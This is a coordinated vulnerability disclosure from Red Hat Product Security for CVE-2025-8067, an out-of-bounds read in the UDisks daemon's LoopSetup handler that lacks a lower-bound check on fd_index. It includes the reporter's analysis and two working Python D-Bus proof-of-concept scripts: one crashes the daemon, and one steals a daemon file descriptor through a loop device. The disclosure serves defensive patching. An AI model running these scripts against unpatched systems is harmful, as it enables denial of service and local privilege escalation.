Hello, the Red Hat Product Security team has received a report for a vulnerability in the UDisks daemon. Coordinating with the report and the upstream developers we have assigned CVE-2025-8067 with the CVSSv3.1 score of:
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H - 8.5 This issue is fixed in udisks2 versions 2.10.91 and 2.10.2 The upstream advisory is available at: https://github.com/storaged-project/udisks/security/advisories/GHSA-742q-gggc-473g Please find out the full report sent on behalf of the reporter: ===== FULL REPORT ===== ============================== SUMMARY ============================== Title: Out-Of-Bounds Read in UDisks Daemon CVSS: 8.5 High CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H Version: Ubuntu 24.04.2 LTS, udisks2 2.10.1-6ubuntu1.2 The UDisks daemon contains an out-of-bounds (OOB) read vulnerability that can be triggered by an unprivileged user via system bus. Successful exploitation leads to a crash of the daemon process, or mapping of an internal file descriptor from the daemon process onto a loop device, likely resulting in local privilege escalation. ============================== DETAILS ============================== The UDisks daemon enables unprivileged users to create loop devices through the D-BUS system bus. Its handler accepts multiple arguments, including fd_list and fd_index, which are used to specify the backing file for the loop device. Although there is a check in place [0] to ensure that fd_index does not exceed the bounds of the fd_list array, there is no validation for the lower bound. As a result, passing a negative value for fd_index leads to an out-of-bounds (OOB) read vulnerability [1]. udisks - src/udiskslinuxmanager.c ---------------------------------------- static gboolean handle_loop_setup (UDisksManager *object, GDBusMethodInvocation *invocation, GUnixFDList *fd_list, GVariant *fd_index, GVariant *options) { (...) fd_num = g_variant_get_handle (fd_index); // [0] upper bound check if (fd_list == NULL || fd_num >= g_unix_fd_list_get_length (fd_list)) { (...) goto out; (...) fd = g_unix_fd_list_get (fd_list, fd_num, &error); (...) if (!bd_loop_setup_from_fd (fd, option_offset, option_size, option_read_only, GLib - gio/gunixfdlist.c ---------------------------------------- gint g_unix_fd_list_get (GUnixFDList *list, gint index_, GError **error) { (...) // [1] OOB read return dup_close_on_exec_fd (list->priv->fds[index_], error); } Successful exploitation of this vulnerability can have two consequences. First, it can cause the daemon process to crash, resulting in a denial of service. Second, an attacker can use this to map an internal file descriptor from the daemon process onto a loop device. This occurs because the value returned by the OOB read is interpreted as a file descriptor; if it corresponds to a valid open descriptor in the daemon process, it can be successfully mapped to a loop device. This can open up attack paths leading to local privilege escalation. For example: An attacker could potentially coerce the daemon process into opening an arbitrary file, creating a file descriptor that could then be inadvertently exposed and reused in this way. ============================== PROOF OF CONCEPT ============================== POC: Crash ---------------------------------------- from gi.repository import Gio, GLib oob_idx = -2**30 bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None) proxy = Gio.DBusProxy.new_sync( bus, Gio.DBusProxyFlags.NONE, None, "org.freedesktop.UDisks2", "/org/freedesktop/UDisks2/Manager", "org.freedesktop.UDisks2.Manager", None ) proxy.call_with_unix_fd_list_sync( "LoopSetup", GLib.Variant("(ha{sv})", (oob_idx, {})), Gio.DBusCallFlags.NONE, -1, Gio.UnixFDList.new_from_array([1]), None, ) POC: "Stealing" file descriptor of daemon process ---------------------------------------- from gi.repository import Gio, GLib def setup_loop(bus, idx): proxy = Gio.DBusProxy.new_sync( bus, Gio.DBusProxyFlags.NONE, None, "org.freedesktop.UDisks2", "/org/freedesktop/UDisks2/Manager", "org.freedesktop.UDisks2.Manager", None ) fdlist = Gio.UnixFDList() fdlist.append(1) result = proxy.call_with_unix_fd_list_sync( "LoopSetup", GLib.Variant("(ha{sv})", (idx, {})), Gio.DBusCallFlags.NONE, -1, fdlist, None, ) return result[0].unpack()[0] def get_backing_file(bus, dev): proxy = Gio.DBusProxy.new_sync( bus, Gio.DBusProxyFlags.NONE, None, "org.freedesktop.UDisks2", dev, "org.freedesktop.UDisks2.Loop", None ) return bytes(proxy.get_cached_property("BackingFile")).decode() if __name__ == "__main__": bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None) print("[+] Trying loop setup with oob indices") for i in range(-1, -1000, -1): try: dev = setup_loop(bus, i) print("[+] Hit valid fd at index", i) print("[+] Setup loop device", dev) break except Exception: pass backing_file = get_backing_file(bus, dev) print("[+] Stole fd for", backing_file) Please let me know if you need any additional details. I would be happy to be credited as "Michael Imfeld (born0monday)". Marco Benatto Red Hat Product Security secal...@redhat.com for urgent response